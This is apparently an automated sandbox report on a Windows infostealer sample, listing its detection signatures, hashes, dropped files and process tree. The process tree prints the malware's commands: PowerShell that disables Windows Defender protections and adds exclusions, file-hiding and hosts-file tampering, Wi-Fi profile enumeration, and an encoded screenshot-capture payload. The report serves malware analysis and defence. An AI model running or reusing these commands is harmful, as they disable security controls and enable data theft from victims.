Overview

overview

10

Static

static

10

2024-06-14...ch.exe

windows7-x64

1

2024-06-14...ch.exe

windows10-2004-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    115s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-06-2024 18:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2024-06-14_8d90087962be2025b29f926c7d260c85_ngrbot_snatch.exe

  • Size

    11.8MB

  • MD5

    8d90087962be2025b29f926c7d260c85

  • SHA1

    10c0684912d50a3f88d5c512e0efb8cc847b5e05

  • SHA256

    c64df35934b266999be64cf5ed4f98419e858b4e4b9a93319045b532a312fd6f

  • SHA512

    c391e6eef6b2a15f7bbf4f36eab6c7c6b7644ff593fb7361a34ebf1ae2aa313afd1ed8ca9758a0db0ed5b25fb9797cb328f4c7451ddd1a4791d44e6dcaeb5728

  • SSDEEP

    98304:xLM7FB7hRsEcI/73YsFa0L7DfyQX9EE0T5otbZDI63dm9ar5WSGnmxjM:xLcB7/sEc8+0L7jxXj04D53/sn0jM

Score
9/10
executionpersistencespywarestealer

Malware Config

Signatures

  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
  • Detects executables Discord URL observed in first stage droppers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 1 IoCs
  • Detects executables containing possible sandbox system UUIDs 1 IoCs
  • Detects executables referencing virtualization MAC addresses 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 11 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-06-14_8d90087962be2025b29f926c7d260c85_ngrbot_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-06-14_8d90087962be2025b29f926c7d260c85_ngrbot_snatch.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5044
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:1136
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3260
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:3820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2024-06-14_8d90087962be2025b29f926c7d260c85_ngrbot_snatch.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3688
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:3832
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:4880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2724
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:228
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:3256
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:4456
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:1040
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
              PID:3164
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of WriteProcessMemory
              PID:4692
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cjom4nan\cjom4nan.cmdline"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3440
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7C35.tmp" "c:\Users\Admin\AppData\Local\Temp\cjom4nan\CSCF0B95A0EEC75405995FF6B7BFFFC7CA.TMP"
                  4⤵
                    PID:464

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              6d42b6da621e8df5674e26b799c8e2aa

              SHA1

              ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

              SHA256

              5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

              SHA512

              53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              dbb22d95851b93abf2afe8fb96a8e544

              SHA1

              920ec5fdb323537bcf78f7e29a4fc274e657f7a4

              SHA256

              e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

              SHA512

              16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\RES7C35.tmp
              Filesize

              1KB

              MD5

              1c2ec597da635fd827988defabcdbde1

              SHA1

              428f9e9f9db8875feacba46d5424d8346edd6674

              SHA256

              b032179acb1e7c95459772b9fe0fb01192bd5d357272c612c735ca880e36b790

              SHA512

              9fd09573e39760bbcc023ca8fb55c9b2db722bb4d7da432a82943dccc2bd112761e29add2795b0984f01ec87175b91eaa67c829accc183e5070f817f596aa9f4

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\SdPH0nLho4\Display (1).png
              Filesize

              436KB

              MD5

              42928605445819dbb3e05ea73cd537ba

              SHA1

              f4c719af82b490d263e7929420e7f0bc51604aa5

              SHA256

              271334f2aa8e785ee3ab9ad9526d12f3af3e009e1287ea414d25aaba2ccbbd58

              SHA512

              760485b4c38938263784bb0d3adbe0e851600eca6ec5745b2c67cef479eeba3b8fc3e6d0e04078e9d2cd590a4f79e8e5412471878bdf7be94d5356083b60c1bf

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xm2akkqo.4dg.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\cjom4nan\cjom4nan.dll
              Filesize

              4KB

              MD5

              5985a1a3fadb07014a8eb827fbd2ff79

              SHA1

              0ce478e454ed93cf16f07a01835ca578b755cee7

              SHA256

              1e9a43e0c8dba5cfe1eb7b69847ff0b90a3d7b30a566d3b99eaedd496c284de0

              SHA512

              3f4c11a4420610d56f26ff3c9158d59f3e0f2efd4a356e1bbd30035801b2dabd6e761e6c3f410e96f9bee0e5e01bf37711f49d7ad277fadb22762477a2ed8295

              Download Submit

            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
              Filesize

              11.8MB

              MD5

              8d90087962be2025b29f926c7d260c85

              SHA1

              10c0684912d50a3f88d5c512e0efb8cc847b5e05

              SHA256

              c64df35934b266999be64cf5ed4f98419e858b4e4b9a93319045b532a312fd6f

              SHA512

              c391e6eef6b2a15f7bbf4f36eab6c7c6b7644ff593fb7361a34ebf1ae2aa313afd1ed8ca9758a0db0ed5b25fb9797cb328f4c7451ddd1a4791d44e6dcaeb5728

              Download Submit

            • C:\Windows\System32\drivers\etc\hosts
              Filesize

              2KB

              MD5

              6e2386469072b80f18d5722d07afdc0b

              SHA1

              032d13e364833d7276fcab8a5b2759e79182880f

              SHA256

              ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

              SHA512

              e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\cjom4nan\CSCF0B95A0EEC75405995FF6B7BFFFC7CA.TMP
              Filesize

              652B

              MD5

              35c7bc35a58c5302b2909188f4042e58

              SHA1

              c5b0c450dc5e39dd8a24acb583a86b9df435e34f

              SHA256

              dcc298df41949b312bb6e1cc5035cca2c13d02ca7572a5946469a1345fcc268f

              SHA512

              f61ff57ff14a468112aa11555caba8cdaaed80d71486bde18de75a4fb6408865c537d51fbf56a9f93fa949ae998cfb6b50008397e003f69bc616f4f82117f8b4

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\cjom4nan\cjom4nan.0.cs
              Filesize

              1004B

              MD5

              c76055a0388b713a1eabe16130684dc3

              SHA1

              ee11e84cf41d8a43340f7102e17660072906c402

              SHA256

              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

              SHA512

              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\cjom4nan\cjom4nan.cmdline
              Filesize

              607B

              MD5

              236ad3a53e2812f0c2e15ef389538262

              SHA1

              8c2b49421e0474da49f9cf503941ee10c281d762

              SHA256

              d89382bfd153e5a6f9c36e322d55d4830cd1e531e4ab62eabfe5266bc11f1f57

              SHA512

              c0a0143db3b35f467764efb86efaf301c0d2b097c385b58acbcb79b00094696609132ad2ff4547235ec2a8af16f6025a0701d77f24773030694466bab61348d5

              Download Submit

            • memory/3688-4-0x0000020BAE910000-0x0000020BAE932000-memory.dmp

              Filesize

              136KB

              Download

            • memory/3688-3-0x00007FFA306D3000-0x00007FFA306D5000-memory.dmp

              Filesize

              8KB

              Download

            • memory/4692-56-0x0000016EA1120000-0x0000016EA1128000-memory.dmp

              Filesize

              32KB

              Download